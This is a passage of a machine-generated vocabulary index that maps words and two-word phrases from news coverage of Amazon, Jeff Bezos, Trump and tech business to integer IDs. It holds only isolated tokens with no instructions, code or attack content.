"trump know": 154942, "cuts economy": 154943, "trade dress": 154944, "usb cable": 154945, "counterfeiting agency": 154946, "technology outdoor": 154947, "proving liability": 154948, "dozen bathrooms": 154949, "threatening substance": 154950, "increase manhood": 154951, "guild arguments": 154952, "sprinkles yes": 154953, "jain": 154954, "properties decreased": 154955, "pause moment": 154956, "locations delivered": 154957, "amazon ebs": 154958, "yes sir": 154959, "planet jeff": 154960, "unclaimed valentines": 154961, "poodle outside": 154962, "rival": 154963, "economic models": 154964, "ally telling": 154965, "jobs equals": 154966, "real insight": 154967, "content moderation": 154968, "philosophy underage": 154969, "abromowitz": 154970, "major staff": 154971, "tech ecosystem": 154972, "restrictive regulations": 154973, "nationwide search": 154974, "plaguing": 154975, "pentagon jeff": 154976, "news apps": 154977, "trump blamed": 154978, "genre defying": 154979, "appstore business": 154980, "assess claims": 154981, "industry analysts": 154982, "pay concern": 154983, "amazon offices": 154984, "janis esch": 154985, "grocery business": 154986, "lower churn": 154987, "recently economists": 154988, "takes later": 154989, "market open": 154990, "provide limited": 154991, "rounds": 154992, "amazon fresh": 154993, "t000002953": 154994, "dehydrated": 154995, "article thumbimageelem": 154996, "blown gaping": 154997, "limited risk": 154998, "packages photo": 154999, "france": 155000, "documents uncovered": 155001, "sources newsletter": 155002, "political science": 155003, "wall declaration": 155004, "airbus envisioned": 155005, "840 r1": 155006, "think right": 155007, "fun product": 155008, "patterns amazon": 155009, "department releases": 155010, "grant administration": 155011, "rejoicing": 155012, "spring organizing": 155013, "marketwatch free": 155014, "classics including": 155015, "lectures": 155016, "street journal": 155017, "street enthusiasm": 155018, "practice investigations": 155019, "story sanders": 155020, "remaining school": 155021, "vietnam oversight": 155022, "return n3x": 155023, "amazon driver": 155024, "cool product": 155025, "takes lot": 155026, "world white": 155027, "sheriff": 155028, "especially illinois": 155029, "pressure bezos": 155030, "political crisis": 155031, "labor advocates": 155032, "scream aloud": 155033, "overreacts danger": 155034, "arends marketwatch": 155035, "subscription settings": 155036, "white whales": 155037, "need communities": 155038, "persecution": 155039, "including ronan": 155040, "forbes estimates": 155041, "fnn pic": 155042, "thieves": 155043, "winter campaign": 155044, "pic new": 155045, "mckenzie bezos": 155046, "carnivorous cannibalistic": 155047, "kicked": 155048, "post frequently": 155049, "thesis amazon": 155050, "cowen dives": 155051, "hall ahead": 155052, "costly campaigns": 155053, "shootings send": 155054, "read presidential": 155055, "real incidents": 155056, "rejected congressional": 155057, "editions": 155058, "frozen": 155059, "geforce": 155060, "mardenborough": 155061, "stephen hawking": 155062, "sized campus": 155063, "mannequin credited": 155064, "\u0430knocked\u0430": 155065, "boss did": 155066, "interdiction account": 155067, "testify border": 155068, "lightly edited": 155069, "515": 155070, "1970s courts": 155071, "looks inevitable": 155072, "hrafnsson wikileaks": 155073, "willy": 155074, "dhs biometric": 155075, "today new": 155076, "skewers": 155077, "wage": 155078, "bremberg trump": 155079, "image trying": 155080, "parades": 155081, "disclose financial": 155082, "club prime": 155083, "china accounted": 155084, "new 737": 155085, "congressman david": 155086, "retailers donald": 155087, "thanks amazon": 155088, "crude output": 155089, "mail delivery": 155090, "wrong amazon": 155091, "reports late": 155092, "company snl": 155093, "society figures": 155094, "cabin movies": 155095, "big green": 155096, "future boeing": 155097, "valley beginning": 155098, "watched fake": 155099, "marctomarket": 155100, "lower premiums": 155101, "monopoly inclined": 155102, "migrants trying": 155103, "workedvery hard": 155104, "calif fueled": 155105, "auxiliarytext": 155106, "inmate advocate": 155107, "subsidizing": 155108, "profit related": 155109, "kirshner": 155110, "parkland colorado": 155111, "exchanging love": 155112, "showindex carouselcontentitems": 155113, "averages": 155114, "thenew": 155115, "different locale": 155116, "fellow matthew": 155117, "doable": 155118, "mackenzie predicting": 155119, "grinding relentlessly": 155120, "headquarters outside": 155121, "cited emails": 155122, "amazon unlike": 155123, "democrats block": 155124, "course bringing": 155125, "unquestionably": 155126, "bezos dryden": 155127, "brashness": 155128, "giving states": 155129, "reading feb": 155130, "trump disclosure": 155131, "ecause": 155132, "binetti": 155133, "quite ride": 155134, "information crippling": 155135, "nosrat based": 155136, "environmental discourse": 155137, "told president": 155138, "exciting fun": 155139, "nordstrom combined": 155140, "comedian lane": 155141, "cook nadella": 155142, "businesses interested": 155143, "governor recently": 155144, "shared ownership": 155145, "foils cyberattack": 155146, "convincing version": 155147, "healthcare education": 155148, "recalled discussion": 155149, "physically handle": 155150, "note 2019": 155151, "ridiculous socks": 155152, "china agreement": 155153, "customer based": 155154, "metadata show__name": 155155, "inhumans amazon": 155156, "texas general": 155157, "totally conflicted": 155158, "criticizes bezos": 155159, "billion cloud": 155160, "good najarian": 155161, "issues conversations": 155162, "prediction proves": 155163, "samsung electronics": 155164, "midterms": 155165, "married woman": 155166, "just automatically": 155167, "retail revenue": 155168, "media4": 155169, "site gizmodo": 155170, "source mark": 155171, "break big": 155172, "blames government": 155173, "github platform": 155174, "story": 155175, "community brewer": 155176, "luxury bmw": 155177, "homelandsecurity": 155178, "job choices": 155179, "x2x": 155180, "pride reflection": 155181, "different methods": 155182, "hatch calls": 155183, "cartoon rep": 155184, "commerce wsj": 155185, "similarweb": 155186, "jedi short": 155187, "emerging private": 155188, "court voted": 155189, "profiling new": 155190, "evaluations": 155191, "defying piece": 155192, "amazon travelers": 155193, "visited today": 155194, "runaways": 155195, "kennaugh": 155196, "plagiarized identified": 155197, "bashed amazon": 155198, "gras": 155199, "demand tougher": 155200, "sonner": 155201, "1n7u5sb": 155202, "helpful frontline": 155203, "fix problem": 155204, "known remember": 155205, "democracy alan": 155206, "taneja": 155207, "mendacious man": 155208, "thoroughly rejected": 155209, "food foray": 155210, "growth sector": 155211, "wgn airs": 155212, "support local": 155213, "wig": 155214, "deeply moved": 155215, "really want": 155216, "warts developing": 155217, "comment early": 155218, "impeachment maybe": 155219, "week underscores": 155220, "confirming insurance": 155221, "finance cancer": 155222, "remember": 155223, "story continuing": 155224, "tommy lee": 155225, "hq2 national": 155226, "colarusso": 155227, "nominee brett": 155228, "scrutiny hefty": 155229, "drunken moment": 155230, "hanes brands": 155231, "pf_rd_r": 155232, "fraudulent financial": 155233, "975": 155234, "installment pushes": 155235, "amazon picks": 155236, "alex cross": 155237, "tale bezos": 155238, "popular tv": 155239, "sec asks": 155240, "carousel currentvideocollectioncontainsid": 155241, "fund medicare": 155242, "associated tax": 155243, "tariffs ranging": 155244, "amafonz headquarters": 155245, "massachusetts playbook": 155246, "investor software": 155247, "lake tells": 155248, "ascendance": 155249, "purchasing managers": 155250, "bearer": 155251, "china suspended": 155252, "layoff": 155253, "creating fortune": 155254, "monstrously huge": 155255, "ethics sanders": 155256, "broader markets": 155257, "stuff publix": 155258, "celebrity tabloid": 155259, "worker ability": 155260, "department practice": 155261, "unwind": 155262, "nam check": 155263, "wong recipe": 155264, "mcshane gillian": 155265, "considering senate": 155266, "ceo bought": 155267, "cardi grammy": 155268, "administration lot": 155269, "spacex": 155270, "leslie stahl": 155271, "europe repair": 155272, "gains include": 155273, "chip somodevilla": 155274, "corey johnson": 155275, "relationships lobbying": 155276, "apparent strength": 155277, "starting salaries": 155278, "elderly individuals": 155279, "doubleline jeffrey": 155280, "uneven": 155281, "service actually": 155282, "informant exposed": 155283, "ago xcel": 155284, "technology analyst": 155285, "bookselling classes": 155286, "lets businesses": 155287, "fed president": 155288, "6x": 155289, "kirke oboist": 155290, "ami general": 155291, "hit peak": 155292, "actually claiming": 155293, "trend continued": 155294, "mentally deficient": 155295, "strong market": 155296, "headquarters despite": 155297, "discussed streaming": 155298, "story california": 155299, "giant middle": 155300, "hardcore computer": 155301, "super sized": 155302, "operated cloud": 155303, "fawn": 155304, "aldi plans": 155305, "using biometric": 155306, "endanger national": 155307, "ring prime": 155308, "adventurous investors": 155309, "thehill": 155310, "streaks": 155311, "trump directives": 155312, "contract workers": 155313, "millennium films": 155314, "reading toca": 155315, "100ths": 155316, "alleging corruption": 155317, "gunfire": 155318, "disinterested children": 155319, "told ronan": 155320, "successfully": 155321, "spokesman josh": 155322, "month bringing": 155323, "purchased ads": 155324, "competitors dubbed": 155325, "000 dollars": 155326, "seeding attack": 155327, "anybody thought": 155328, "gives readers": 155329, "business busy": 155330, "amazon grow": 155331, "steve scalise": 155332, "black amazon": 155333, "mounting legal": 155334, "stock washington": 155335, "theprosecutors": 155336, "75th street": 155337, "ozimek": 155338, "shakeout president": 155339, "morning gary": 155340, "states forest": 155341, "paypal payments": 155342, "finally began": 155343, "lurid new": 155344, "horror chance": 155345, "sales cnn": 155346, "hexgears": 155347, "valuable innovation": 155348, "walgreens boosts": 155349, "teva pharmaceutical": 155350, "cars berlin": 155351, "world trump": 155352, "normal wawx": 155353, "establishment": 155354, "gaga nbc": 155355, "jury convicts": 155356, "armored car": 155357, "hill house": 155358, "briefing bezos": 155359, "brave men": 155360, "raise child": 155361, "right away": 155362, "msf hospital": 155363, "expired partnering": 155364, "truths leaks": 155365, "higher oil": 155366, "adding customers": 155367, "commercially sensitive": 155368, "failla join": 155369, "specific controls": 155370, "indications": 155371, "abc california": 155372, "actors": 155373, "phil bredesen": 155374, "evaded government": 155375, "amendment section": 155376, "today playbook": 155377, "block cheese": 155378, "kept travel": 155379, "china economic": 155380, "market trends": 155381, "rogoff asks": 155382, "micro budget": 155383, "joseph kosinski": 155384, "violence sexual": 155385, "demand wholesale": 155386, "remain shrouded": 155387, "sweats": 155388, "article gordon": 155389, "nice cheeses": 155390, "expire": 155391, "dorning 2019": 155392, "pavlich additionally": 155393, "businesses jeff": 155394, "necessarily bad": 155395, "left loathe": 155396, "bans people": 155397, "contentious divorce": 155398, "analyst brian": 155399, "spendvalentine day": 155400, "additional labor": 155401, "boy trump": 155402, "gymnast aly": 155403, "weeks bezos": 155404, "exceedingly": 155405, "issued long": 155406, "maybe wouldn": 155407, "promotes large": 155408, "posted recent": 155409, "conflict ubhi": 155410, "jiayang fan": 155411, "choices suggest": 155412, "product akin": 155413, "retailers makes": 155414, "visit": 155415, "plus competition": 155416, "possible including": 155417, "continues": 155418, "france revenue": 155419, "showed": 155420, "growing debt": 155421, "market taking": 155422, "apple did": 155423, "underpaid facility": 155424, "model critics": 155425, "brief embattled": 155426, "doubleclick story": 155427, "people chose": 155428, "james bank": 155429, "political necessity": 155430, "lottery news": 155431, "orders lunch": 155432, "corporation concern": 155433, "585": 155434, "scholarship program": 155435, "financial pain": 155436, "douglas high": 155437, "development estimates": 155438, "londonislovinit mancismarvellous": 155439, "false nextvideoid": 155440, "snap cfo": 155441, "tolling": 155442, "real testament": 155443, "paulmanafort trump": 155444, "ulrich calls": 155445, "resurrection": 155446, "federal operating": 155447, "nurses insurance": 155448, "corporate sales": 155449, "allegedly lists": 155450, "instead set": 155451, "economy republicans": 155452, "sonoya mizuno": 155453, "facing strong": 155454, "president heightened": 155455, "cnn characterized": 155456, "50m alibi": 155457, "536": 155458, "overturned ruling": 155459, "perfect example": 155460, "separate ownership": 155461, "pointless attorney": 155462, "week saying": 155463, "firm argued": 155464, "oak ceiling": 155465, "city explaining": 155466, "photo courtesy": 155467, "remain anonymous": 155468, "just released": 155469, "sophisticated delivery": 155470, "hdr": 155471, "amazon estimated": 155472, "wide rock": 155473, "ran party": 155474, "personally attempting": 155475, "kong hang": 155476, "aluminum alcoa": 155477, "recession companies": 155478, "house influence": 155479, "face turned": 155480, "sanchez describing": 155481, "europe wall": 155482, "nyse fdx": 155483, "pale": 155484, "stores extended": 155485, "luster": 155486, "gaiman adapted": 155487, "unwitting": 155488, "valuation allowance": 155489, "control board": 155490, "stop cheating": 155491, "high tolerance": 155492, "skirted": 155493, "hayek": 155494, "watch spongebob": 155495, "exploratory oil": 155496, "boeing withheld": 155497, "year galloway": 155498, "trade tiff": 155499, "billion bezos": 155500, "largest ride": 155501, "reporter farhad": 155502, "saving money": 155503, "closing high": 155504, "trump richard": 155505, "recordings took": 155506, "study suggests": 155507, "2019 file": 155508, "personal scores": 155509, "storms kill": 155510, "recent treasury": 155511, "japanese hotel": 155512, "shoes online": 155513, "residents living": 155514, "titled amazon": 155515, "paid 412": 155516, "documented bleak": 155517, "slam": 155518, "loon scottie": 155519, "filtering practices": 155520, "prominent attorney": 155521, "services operations": 155522, "european brick": 155523, "company estimates": 155524, "assistance": 155525, "morning set": 155526, "store owned": 155527, "year wages": 155528, "gielan": 155529, "imports tariff": 155530, "follow": 155531, "previous celebrity": 155532, "ingraham advertisers": 155533, "retailer casino": 155534, "defense positions": 155535, "week reported": 155536, "globaldata retail": 155537, "gm meets": 155538, "award santa": 155539, "impoverished italian": 155540, "sounds amazon": 155541, "sweepstakes": 155542, "vta": 155543, "titular preacher": 155544, "rally mean": 155545, "damon holiday": 155546, "times balancing": 155547, "compelling case": 155548, "little faster": 155549, "virginia largest": 155550, "courting technology": 155551, "site refused": 155552, "rupert": 155553, "trading session": 155554, "break": 155555, "burglars": 155556, "hollow": 155557, "guarantee healthy": 155558, "allegedly harvested": 155559, "economic recession": 155560, "lawyer cohen": 155561, "news coincided": 155562, "currently meet": 155563, "rapid rise": 155564, "abatement worth": 155565, "whatsappshareelement carouselcontentitems": 155566, "protest inhuman": 155567, "regulatory fee": 155568, "tomorrow deere": 155569, "educators reject": 155570, "freepik": 155571, "quite literally": 155572, "funereal": 155573, "affiliate partnerships": 155574, "firm cloud": 155575, "zocpbd43p7": 155576, "viewed apps": 155577, "herera good": 155578, "thinks aside": 155579, "intricacy": 155580, "started keeping": 155581, "block donald": 155582, "mechanism mnuchin": 155583, "significant effect": 155584, "read children": 155585, "peoples": 155586, "essentially development": 155587, "month senator": 155588, "brokers convoy": 155589, "pdf produced": 155590, "haughty": 155591, "outstripped facebook": 155592, "delightful story": 155593, "clear jab": 155594, "replacements": 155595, "morethough trump": 155596, "best editor": 155597, "company favor": 155598, "1800s publications": 155599, "illinois university": 155600, "school year": 155601, "rosen artisan": 155602, "sensors precisely": 155603, "alison": 155604, "car window": 155605, "bringing hq2": 155606, "esque stories": 155607, "rooms releasing": 155608, "nicaraguan": 155609, "term mission": 155610, "consider ocasio": 155611, "display": 155612, "investigative": 155613, "grin": 155614, "trolled trump": 155615, "legendary tv": 155616, "salesforce benioff": 155617, "professions": 155618, "forest code": 155619, "recommendations algorithms": 155620, "distinct challenges": 155621, "big job": 155622, "widespread damage": 155623, "moscow urdupoint": 155624, "invest counsel": 155625, "portion spelled": 155626, "consensually sent": 155627, "ubhi changed": 155628, "sullivan": 155629, "luther": 155630, "maduro opposition": 155631, "ohjuliatweets": 155632, "contain extensive": 155633, "today editors": 155634, "story treasury": 155635, "seams": 155636, "mastrel pointed": 155637, "caption amazon": 155638, "abortion rights": 155639, "media news": 155640, "digital response": 155641, "push resolution": 155642, "plane crash": 155643, "store hudson": 155644, "piano": 155645, "austria": 155646, "make handmade": 155647, "citizens blind": 155648, "sandbox r4ee": 155649, "health science": 155650, "schaeffer volatility": 155651, "bullhorns": 155652, "standalone company": 155653, "bbc focus": 155654, "anarchist named": 155655, "population uu": 155656, "panagora asset": 155657, "engineering operations": 155658, "times bestselling": 155659, "year heard": 155660, "facilities outside": 155661, "monetized": 155662, "1887": 155663, "amazon mogul": 155664, "modern retellings": 155665, "amazon 3196": 155666, "target makes": 155667, "stupid west": 155668, "hotel hosted": 155669, "golden parachute": 155670, "dirty energy": 155671, "talking figure": 155672, "morals": 155673, "tomi lahren": 155674, "bridge collapse": 155675, "sign spending": 155676, "internet monopoly": 155677, "alleged email": 155678, "trump desire": 155679, "company licensing": 155680, "simmons college": 155681, "placed reviews": 155682, "trump paperback": 155683, "gaap financial": 155684, "day": 155685, "competed away": 155686, "medium boxes": 155687, "amazon food": 155688, "ford quarterly": 155689, "says trade": 155690, "tech crash": 155691, "true retailer": 155692, "criticized google": 155693, "president talked": 155694, "lnahmias": 155695, "turkey president": 155696, "fiasco": 155697, "harder bargain": 155698, "favorite criticism": 155699, "dipped": 155700, "publicly received": 155701, "business law": 155702, "currently trading": 155703, "authoritarian minded": 155704, "toyota sedan": 155705, "firm sbd": 155706, "judges created": 155707, "quarter bartiromo": 155708, "podesta erica": 155709, "store costly": 155710, "co2 levels": 155711, "today shadow": 155712, "bezos bragging": 155713, "capitol sept": 155714, "capitalism follow": 155715, "declared national": 155716, "cnbc david": 155717, "stating china": 155718, "ppzofqazok": 155719, "viceland docuseries": 155720, "beetle": 155721, "rat poison": 155722, "ny cosponsor": 155723, "spat puts": 155724, "litany": 155725, "locations nationwide": 155726, "defence deal": 155727, "stroy": 155728, "tosses": 155729, "j8": 155730, "approved government": 155731, "cuomo yeah": 155732, "righteous gun": 155733, "kennedy china": 155734, "replay videoplay": 155735, "neural machine": 155736, "lehrer brought": 155737, "deathbed": 155738, "tax fraud": 155739, "motorcycle": 155740, "trump crosshairs": 155741, "post refundable": 155742, "story rightly": 155743, "oasis": 155744, "tv hits": 155745, "posted continue": 155746, "playing watch": 155747, "finding ways": 155748, "trump 054": 155749, "vulgarity": 155750, "father": 155751, "tacit validation": 155752, "similar companies": 155753, "deride trump": 155754, "military surroundings": 155755, "technews": 155756, "sanders white": 155757, "centres reside": 155758, "thanksgiving melissa": 155759, "immigrant advocacy": 155760, "audible unit": 155761, "glorious": 155762, "oscars england": 155763, "hurricanes": 155764, "scam trump": 155765, "counsels": 155766, "space worse": 155767, "girls trip": 155768, "pain longer": 155769, "granting clemency": 155770, "increased value": 155771, "way ahead": 155772, "canada steel": 155773, "adjacent locations": 155774, "including ckpics": 155775, "bezos thoughts": 155776, "spending economists": 155777, "boarding": 155778, "cargo pants": 155779, "agency policy": 155780, "aplenty words": 155781, "expo s\u00e9": 155782, "enquirer threat": 155783, "annual cloud": 155784, "morning reported": 155785, "unnecessarily": 155786, "starting donation": 155787, "hurt plenty": 155788, "retail mintel": 155789, "page editor": 155790, "courts don": 155791, "facebook lead": 155792, "unheralded": 155793, "retailer costco": 155794, "place independent": 155795, "force democrats": 155796, "amid ma": 155797, "identifying ways": 155798, "oeknowing": 155799, "recent marital": 155800, "mirrors": 155801, "busy holiday": 155802, "grappling": 155803, "drugs air": 155804, "skiing": 155805, "clark thanksgiving": 155806, "giant outlook": 155807, "report links": 155808, "iq trump": 155809, "surcharge based": 155810, "focus 2018": 155811, "land open": 155812, "j0 object": 155813, "involve bezos": 155814, "taxes fight": 155815, "municipal handouts": 155816, "spiral": 155817, "await amazon": 155818, "potentially abusive": 155819, "suppresses positive": 155820, "geography game": 155821, "washington suburb": 155822, "appropriate behaviour": 155823, "minister bento": 155824, "humpton": 155825, "today rally": 155826, "griffeth house": 155827, "personal trump": 155828, "contrasting styles": 155829, "new business": 155830, "michigan residents": 155831, "harvey funding": 155832, "seriously consider": 155833, "google hate": 155834, "day struggles": 155835, "misguided trump": 155836, "sinclair stations": 155837, "providing competitively": 155838, "new chinese": 155839, "meets melodrama": 155840, "truman": 155841, "tat tariffs": 155842, "african countries": 155843, "amazon basks": 155844, "certain level": 155845, "bezos downplayed": 155846, "money efforts": 155847, "merkel warned": 155848, "ralph": 155849, "bredesen rep": 155850, "chrisvernonshow": 155851, "koning": 155852, "month revealed": 155853, "risk management": 155854, "world lurid": 155855, "average ground": 155856, "hassett": 155857, "america live": 155858, "plhilp dick": 155859, "totally driven": 155860, "includes according": 155861, "turning_point_taylor_collins_poster_600_387892 jpg": 155862, "global distribution": 155863, "zip nada": 155864, "print sexually": 155865, "equally adamant": 155866, "nation conversation": 155867, "recently gotten": 155868, "post state": 155869, "recently touched": 155870, "good 2018": 155871, "investing success": 155872, "vug": 155873, "pirro book": 155874, "stunning post": 155875, "benioffs": 155876, "image 385x240": 155877, "golden exits": 155878, "instagram traps": 155879, "maybe think": 155880, "russell": 155881, "evan vucci": 155882, "mark rutte": 155883, "campaign volunteers": 155884, "approve plans": 155885, "mcgahn": 155886, "public assertion": 155887, "aclu report": 155888, "investors feared": 155889, "law effort": 155890, "billionaires marking": 155891, "concern low": 155892, "democratic candidate": 155893, "nights christopher": 155894, "medicine brexiteers": 155895, "real time": 155896, "talk sounds": 155897, "0701et": 155898, "makes cnn": 155899, "loom large": 155900, "trump pee": 155901, "trademark owners": 155902, "downforce": 155903, "headquarters located": 155904, "high demand": 155905, "spectacular lunch": 155906, "generated huge": 155907, "product details": 155908, "audibly disappointed": 155909, "attendees including": 155910, "telecommunications sector": 155911, "piloting": 155912, "graham amazon": 155913, "groundsto ask": 155914, "date jeff": 155915, "trump brand": 155916, "document wikileaks": 155917, "reportedly complained": 155918, "continues bleeding": 155919, "paper columnist": 155920, "office making": 155921, "luxembourg called": 155922, "increase resources": 155923, "critic according": 155924, "psychological harm": 155925, "downturn announcing": 155926, "ranks toronto": 155927, "absolutely necessary": 155928, "trump advises": 155929, "host revealed": 155930, "pepper tomatoes": 155931, "justin sun": 155932, "butt bezos": 155933, "beauty pic": 155934, "owner publicly": 155935, "released woodward": 155936, "ordinary families": 155937, "experts warn": 155938, "unlocking": 155939, "sanders writes": 155940, "lunar rovers": 155941, "broadly govpredict": 155942, "weprin": 155943, "workers stage": 155944, "higher volume": 155945, "norway": 155946, "delivery dates": 155947, "garner carries": 155948, "traded goods": 155949, "included clutch": 155950, "day retelling": 155951, "week alleging": 155952, "seemingly good": 155953, "burgeoning industry": 155954, "heartburn": 155955, "senior member": 155956, "hilarious flops": 155957, "news jonathan": 155958, "house brand": 155959, "sunshine book": 155960, "shakeup el": 155961, "bedeviled": 155962, "falsely stated": 155963, "lead zeppelin": 155964, "inched closer": 155965, "board networks": 155966, "secure veto": 155967, "nosrat simple": 155968, "pushed qanon": 155969, "psat stopped": 155970, "area sign": 155971, "nily rozic": 155972, "despite describing": 155973, "sellers shipping": 155974, "bit mcdowell": 155975, "ago ___": 155976, "switch console": 155977, "observance": 155978, "khashoggi citizen": 155979, "rubio office": 155980, "pasture don": 155981, "ice detains": 155982, "environment precisely": 155983, "stop worrying": 155984, "joins": 155985, "facility according": 155986, "article_inline obtaining": 155987, "tostring": 155988, "docket": 155989, "kenya": 155990, "sports tech": 155991, "jan": 155992, "harjinder singh": 155993, "provides ultrasonic": 155994, "installs": 155995, "scott bland": 155996, "stations broadcasting": 155997, "wexton northern": 155998, "inclusive": 155999, "stickler": 156000, "prompting dissenting": 156001, "lee best": 156002, "rielly slams": 156003, "showindex owlprevitem": 156004, "bezos wanted": 156005, "apnewsbreak": 156006, "gtec 2016": 156007, "unhappiness": 156008, "driving counterfeit": 156009, "minute requests": 156010, "stands apart": 156011, "financial resources": 156012, "danner": 156013, "big yeah": 156014, "people minds": 156015, "bezos wiki": 156016, "names think": 156017, "britney hoobraj": 156018, "dinged amazon": 156019, "disseminate": 156020, "prying ears": 156021, "regularly reviews": 156022, "ruins": 156023, "complex intercompany": 156024, "supporting political": 156025, "2017 including": 156026, "videoid articleelem": 156027, "china card": 156028, "buying cargo": 156029, "sealed": 156030, "essence": 156031, "subprime debt": 156032, "easily": 156033, "house elections": 156034, "sneering": 156035, "dorsey appeared": 156036, "data luxembourg": 156037, "seal 10bn": 156038, "entangled": 156039, "matter market": 156040, "article california": 156041, "publication motives": 156042, "substantial": 156043, "corrupt media": 156044, "nives dol\u0161ak": 156045, "levied": 156046, "resource time": 156047, "understated simplicity": 156048, "eisenberg ecco": 156049, "bezos depicted": 156050, "laws typically": 156051, "disney going": 156052, "add years": 156053, "create threat": 156054, "man abandoned": 156055, "shares drop": 156056, "trump antipathy": 156057, "explanatory post": 156058, "defineproperties": 156059, "overdrive": 156060, "letter seekingalpha": 156061, "national stage": 156062, "entrepreneur elon": 156063, "bunge": 156064, "yell abuse": 156065, "arisen surrounding": 156066, "death": 156067, "cuomo left": 156068, "improve information": 156069, "signature enforcement": 156070, "vadim": 156071, "york lighting": 156072, "pushed aside": 156073, "youth population": 156074, "duquesne": 156075, "big partner": 156076, "precincts": 156077, "cloud businesses": 156078, "2023 compared": 156079, "publication allegedly": 156080, "consumers outrageous": 156081, "regarding north": 156082, "dickerson yeah": 156083, "jobbers": 156084, "salesbut": 156085, "local state": 156086, "google digital": 156087, "amzn announcement": 156088, "cdn cnn": 156089, "specific moves": 156090, "ailing mta": 156091, "577 000": 156092, "prime television": 156093, "alibaba baba": 156094, "conservative thought": 156095, "latest swipe": 156096, "mortgage debt": 156097, "ubhi used": 156098, "cnn videx": 156099, "david soundbite": 156100, "dsps tl": 156101, "objectionable": 156102, "new passports": 156103, "consider social": 156104, "season certainly": 156105, "reportedly considered": 156106, "aborted fetal": 156107, "seller doesn": 156108, "online audience": 156109, "mond": 156110, "firm contracts": 156111, "traditional people": 156112, "kow": 156113, "president saying": 156114, "lees": 156115, "unlikely set": 156116, "japanese prime": 156117, "abramowitz responded": 156118, "bullish option": 156119, "deal advances": 156120, "power outages": 156121, "chia pet": 156122, "embarrassment bezos": 156123, "blocked 100": 156124, "uncovered described": 156125, "culmination": 156126, "conflict amazon": 156127, "grant hindsley": 156128, "68m says": 156129, "carlton cuse": 156130, "read buy": 156131, "significant momentum": 156132, "dsw": 156133, "fakes cost": 156134, "blaxploitation action": 156135, "software services": 156136, "genre": 156137, "inlet": 156138, "multiple stories": 156139, "big advocates": 156140, "services nyc": 156141, "huge apps": 156142, "endured months": 156143, "campaign erected": 156144, "paso": 156145, "kitchen man": 156146, "tweets covering": 156147, "trump birthplace": 156148, "sector worth": 156149, "largest markets": 156150, "burrito leaving": 156151, "9e72 633a4f8c129d": 156152, "suburban": 156153, "kurzius": 156154, "133 acre": 156155, "reuters contributed": 156156, "fb shares": 156157, "confidence amazon": 156158, "wiring": 156159, "amazon analyst": 156160, "making faculties": 156161, "retailers enables": 156162, "know want": 156163, "spend levels": 156164, "bdi": 156165, "favor deploying": 156166, "value add": 156167, "country addabbo": 156168, "dorsey tweeted": 156169, "pay adequate": 156170, "graphic": 156171, "googler vividly": 156172, "known celebrity": 156173, "303567 jeff": 156174, "homework": 156175, "successor greg": 156176, "air traffic": 156177, "campbell investment": 156178, "blasio took": 156179, "natl 460": 156180, "lodging": 156181, "trump joint": 156182, "flee cuba": 156183, "regional sports": 156184, "suspected data": 156185, "taken jabs": 156186, "black tie": 156187, "tariffs": 156188, "bezos competitors": 156189, "laws limiting": 156190, "getting sweetheart": 156191, "5t2ev8dpbe": 156192, "clearly marked": 156193, "instance ami": 156194, "deceive": 156195, "environmental regulators": 156196, "dna reference": 156197, "trump satirical": 156198, "speaker learn": 156199, "cap nearly": 156200, "salkever": 156201, "blasio began": 156202, "practice": 156203, "previously told": 156204, "cranky old": 156205, "matt wyckhouse": 156206, "workers peeing": 156207, "print": 156208, "simply isn": 156209, "social networks": 156210, "chip": 156211, "customers wanting": 156212, "citizenry": 156213, "run season": 156214, "laura gassner": 156215, "americans": 156216, "investor sentiment": 156217, "family affairs": 156218, "essential consultants": 156219, "press scrutiny": 156220, "communications policy": 156221, "profit goodyear": 156222, "aviv": 156223, "brazilians": 156224, "trump fortune": 156225, "technology competition": 156226, "online publication": 156227, "strippers containing": 156228, "promoted trump": 156229, "empirical evidence": 156230, "anti clinton": 156231, "sidelines long": 156232, "chickasaw trails": 156233, "woolley": 156234, "india pvt": 156235, "new appetite": 156236, "planned government": 156237, "decent pay": 156238, "postal deliveries": 156239, "giant commerce": 156240, "extortion just": 156241, "bezos communications": 156242, "domino": 156243, "satisfactory results": 156244, "szu": 156245, "sourceamazon frum": 156246, "bezos mackenziebezos": 156247, "finally making": 156248, "da cy": 156249, "recently australian": 156250, "2012 republican": 156251, "largest city": 156252, "photo eric": 156253, "53bn": 156254, "emaciated children": 156255, "trump ends": 156256, "apple opens": 156257, "software tech": 156258, "31m worth": 156259, "prime account": 156260, "quite deliver": 156261, "signature policies": 156262, "repairing nycha": 156263, "zone eligible": 156264, "feds held": 156265, "sent 470": 156266, "brazilian government": 156267, "sustained funding": 156268, "amid decades": 156269, "tweeted trump": 156270, "sandboxes": 156271, "unchecked tech": 156272, "unfairness going": 156273, "environmental defense": 156274, "right gift": 156275, "emeritus benedict": 156276, "goff recently": 156277, "nell": 156278, "financial strains": 156279, "bigger impact": 156280, "bring increases": 156281, "daily argues": 156282, "promised property": 156283, "military lawyers": 156284, "hydro flasks": 156285, "zinke campaign": 156286, "upstate senators": 156287, "offline bookstore": 156288, "mabel": 156289, "pulloutdecision": 156290, "stores food": 156291, "fact flores": 156292, "threats critics": 156293, "recognizing taiwan": 156294, "raises minimum": 156295, "lifes": 156296, "swarm": 156297, "getty_1126502092_387831": 156298, "fitness melchiorre": 156299, "beneficiary manhattan": 156300, "cost manufacturers": 156301, "diplomacy chance": 156302, "vibrant immigrant": 156303, "luisa kroll": 156304, "sinclair isn": 156305, "201": 156306, "flying disc": 156307, "shooting reads": 156308, "server719398 channels": 156309, "trump pleas": 156310, "business roughly": 156311, "seen walking": 156312, "policy enforcement": 156313, "democratic congress": 156314, "desktops": 156315, "wealthy generally": 156316, "cities offered": 156317, "airstrike": 156318, "report weather": 156319, "tomorrow": 156320, "commentary": 156321, "terrence dopp": 156322, "selectively": 156323, "ruggiero": 156324, "business": 156325, "published scathing": 156326, "terminated covfefe": 156327, "imagination tutorials": 156328, "dollar index": 156329, "projecting": 156330, "people overdose": 156331, "words international": 156332, "history amid": 156333, "unmarked": 156334, "microbial": 156335, "dressed": 156336, "expeditiously": 156337, "conditions sen": 156338, "company units": 156339, "benedict xvi": 156340, "government doesn": 156341, "el": 156342, "phase": 156343, "andy lack": 156344, "america asylum": 156345, "capital advisers": 156346, "sock options": 156347, "corey schmid": 156348, "hbo orig": 156349, "publicize damaging": 156350, "hard rock": 156351, "elevated national": 156352, "reinvestment amazon": 156353, "toobin": 156354, "imaging sabyasachi": 156355, "embroiled deeply": 156356, "refrigerators": 156357, "amzn share": 156358, "decent writing": 156359, "putin commercial": 156360, "shiong acquired": 156361, "media driven": 156362, "rage fortunately": 